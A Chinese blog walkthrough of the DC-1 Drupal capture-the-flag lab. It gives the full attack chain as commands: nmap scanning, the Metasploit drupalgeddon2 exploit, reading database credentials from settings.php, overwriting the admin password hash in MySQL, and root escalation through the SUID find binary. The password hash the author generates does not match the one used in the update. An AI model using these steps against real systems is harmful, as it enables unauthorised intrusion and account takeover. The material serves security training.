DC-1(Drupal)靶机

arp-scan-l 发现网络地址

使用nmap  -p  1-65535 -sV 172.16.16.135发现开放端口

 

 可以看到这里使用了80和22,现在进入网站看看是否有可用信息

通过Wappalyzer或者网页底部的Drupal知道网站的CMS是Drupal

查看网站的robots.txt协议

 并没有什么信息泄露,没有可用信息

使用msf查找一下Drupal的漏洞,然后一个一个尝试看是否可以利用。

最终exploit/unix/webapp/drupal_drupalgeddon2 可用

use exploit/unix/webapp/drupal_drupalgeddon2
show options

 

设置攻击目标

set RHOSTS 172.16.16.135

进行攻击

Run

Getshell

shell

whoami

ls

cat flag1.txt

flag1中提示到:每一个好的CMS都需要一个配置文件,就如你一样。

Drupal的默认配置文件为:settings.php,查找一下settings.php文件所在的路径

cat /var/www/sites/default/settings.php 

 

配置文件中得到flag2,翻译大致意思是:暴力破解不是唯一的方式,我们需要获取一个访问的权限,所以需要获得网站登录的用户名和密码。

还得到了数据库的账户名和密码:dbuser/R0ck3t

既然得到了数据库账户名和密码,可以使用python反弹一个交互式的shell,然后利用账户名密码成功连接数据库

python -c 'import pty;pty.spawn("/bin/bash")'

mysql -u dbuser -p

输入密码:R0ck3t

show databases:查看数据库,查询到数据库名为drupaldb

 

查询数据库drupaldb中的表,其中有一个users表,账户名和密码应该就是其中。

select * from users:查看users表中数据,发现了账户名admin,但是密码是被加密了的

但是可以修改admin的密码或者新增加一个admin权限的用户

使用Drupal对数据库的加密方法,生成一个新的密码,然后使用此密码更新admin账户的密码

加密的脚本所在路径:/var/www/scripts/password-hash.sh

使用该脚本文件加密明文密码为:123456的密码,得到加密之后的密码

$S$Du8QGGCYfad25Wu8ER.s8Ewd5fU/o9fl1AlDpHzmlfeUnE5loiDF

然后更新

update drupaldb.users set pass="$S$DOpRSoJxu8FgKXsjxGpIF5F8LFF1It3ptthx4G60T1Etq9ZKiDDS" where name="admin"

Admin的密码被修改成了123456

 

登录成功

 

找flag3

flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到

cat /etc/passwd查看文件,提示flag在/home/flag4里面

查看home/flag4/flag4.txt文件,得到flag4

flag的提示:您可以使用相同的方法在根目录中查找或访问标志吗?

即要用用相同的方法在root目录下找到最终flag。

最后的flag在root目录下,但是没有读写的权限,所以要用到提权了。

提权

查找具有root权限的其他命令

find / -perm -4000

发现find本身就是root权限

利用find来提权,成功得到flag

find ./ 111 -exec '/bin/sh' \;

拿到最后一个flag 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值